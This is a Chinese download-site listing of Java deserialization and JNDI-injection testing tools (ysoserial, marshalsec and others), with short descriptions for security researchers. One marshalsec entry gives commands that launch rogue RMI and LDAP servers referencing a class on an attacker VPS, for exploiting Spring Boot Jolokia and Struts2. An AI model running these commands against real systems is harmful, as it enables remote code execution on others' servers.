Advertisement

ysoserial-0.0.6-SNAPSHOT-all.jar

  •  5星
  •     浏览量: 0
  •     大小:None
  •      文件类型：None

简介：
ysoserial-0.0.6-SNAPSHOT-all.jar是一款用于生成各种常见Java反序列化漏洞利用链码的工具，帮助安全研究人员测试应用系统对Java反序列化的安全性。 ysoserial-0.0.6-SNAPSHOT-all.jar是一款工具jar包。

全部评论 (0)

还没有任何评论哟~
客服
客服
客服关闭
  • ysoserial-0.0.6-SNAPSHOT-all.jar
    优质
    ysoserial-0.0.6-SNAPSHOT-all.jar是一款用于生成各种常用Java反序列化漏洞利用链的工具包，帮助安全研究人员测试应用系统的反序列化风险。 ysoserial-0.0.6 可自行下载编译。提供一个下载链接：https://jitpack.io/com/github/frohoff/ysoserial/master-v0.0.5-gb617b7b-16/ysoserial-master-v0.0.5-gb617b7b-16.jar 重写后： ysoserial-0.0.6 可自行下载编译。
     
  • ysoserial-0.0.6-SNAPSHOT-all.jar
    优质
    ysoserial-0.0.6-SNAPSHOT-all.jar是一款用于生成各种常见Java反序列化漏洞利用链码的工具，帮助安全研究人员测试应用系统对Java反序列化的安全性。 ysoserial-0.0.6-SNAPSHOT-all.jar是一款工具jar包。
     
  • ysoserial-0.0.6-SNAPSHOT-all.jar
    优质
    ysoserial-0.0.6-SNAPSHOT-all.jar是一款用于创建利用Java反序列化漏洞的payload的工具集，主要用于安全测试和研究。 ysoserial-0.0.6-SNAPSHOT-all.jar
     
  • 新版ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
    优质
    ysoserial是一款用于生成各种序列化对象以进行安全测试和研究的工具。此版本(0.0.6-SNAPSHOT-BETA)为开发者提供了最新的功能更新与漏洞利用示例，助力于深入探索Java反序列化的安全性问题。 GitHub上的文件已经很难下载了，作者已将文件上传到其他平台。我在使用过程中遇到了一些问题，在正确更改原文件名后才能正常使用。
     
  • ysoserial-0.0.6-SNAPSHOT-all工具
    优质
    ysoserial-0.0.6-SNAPSHOT-all 是一个针对Java反序列化漏洞的安全研究工具集，包含多种利用链和payload生成器，用于测试应用系统的安全性。 Apache Log4j 是一个适用于 Java 的日志记录库，并支持连接到远程日志服务器。在 Apache Log4j 2.8.2 版本之前的 2.x 系列版本中存在安全漏洞，攻击者可以利用这一漏洞来执行任意代码。这种类型的反序列化问题是可以被利用的。
     
  • marshalsec-0.0.3-SNAPSHOT-all.jar
    优质
    marshalsec-0.0.3-SNAPSHOT-all.jar是一款用于测试和研究Java远程方法调用(RMI)及其它基于对象的协议安全性的工具包，包含多种恶意和服务模式。 Moritz Bechler编写了一个工具，源码可以从GitHub下载。使用Maven编译后得到一个jar包，方便那些没有编译环境的用户直接运行该jar包来开启RMI或LDAP服务。 要启动RMI服务，请执行以下命令： ``` java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://VPS/ExportObject 1099 ``` 要启动LDAP服务，请使用如下命令： ``` java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS/ExportObject 1389 ``` 这个工具可以用来测试Spring Boot Jolokia的远程命令执行，也可以用于检测Struts2 S系列漏洞。
     
  • marshalsec-0.0.3-SNAPSHOT-all.jar
    优质
    marshalsec-0.0.3-SNAPSHOT-all.jar是一款用于网络安全研究和测试的应用程序jar包，包含多种服务模拟器，主要用于检验远程对象序列化相关的安全漏洞。 marshalsec 官方不提供 jar 包下载，编译过程中遇到了一些错误，但我最终成功完成了编译。如果有需要的朋友可以使用我编译好的版本。
     
  • JNDI-Injection-Vulnerability-1.0-SNAPSHOT-all.jar
    优质
    JNDI-Injection-Vulnerability-1.0-SNAPSHOT-all.jar是一个用于演示和测试JNDI注入漏洞的Java应用程序jar包，帮助开发者理解并防范此类安全风险。 JNDI（Java Naming and Directory Interface）是Java平台提供的一种服务，用于访问目录和命名工件。它允许应用程序通过统一且标准的方式查找并使用各种资源和服务，如数据库连接、远程对象和其他类型的资源。JNDI 提供了一种与特定实现无关的方法来定位这些资源，并为 Java 应用程序提供了强大的工具以简化管理和配置过程。
     
  • ysoserial-0.0.5.jar
    优质
    ysoserial-0.0.5.jar是一款Java工具包，主要用于生成各种利用序列化漏洞所需的数据对象。它帮助安全测试人员和开发人员理解和防御特定类型的远程代码执行攻击。 在GitHub上寻找了很久后，我发现了一个用于检查Shiro反序列化漏洞的工具，并打算分享给同事们。如果有需要的话，大家可以拿去使用。
     
  • Apoc-3.5.0.13-all.jar
    优质
    Apoc-3.5.0.13-all.jar是一款专为图数据库Neo4j设计的插件包，内含多种高级功能与算法，用于增强数据处理和分析能力。 apoc-3.5.0.13-all.jar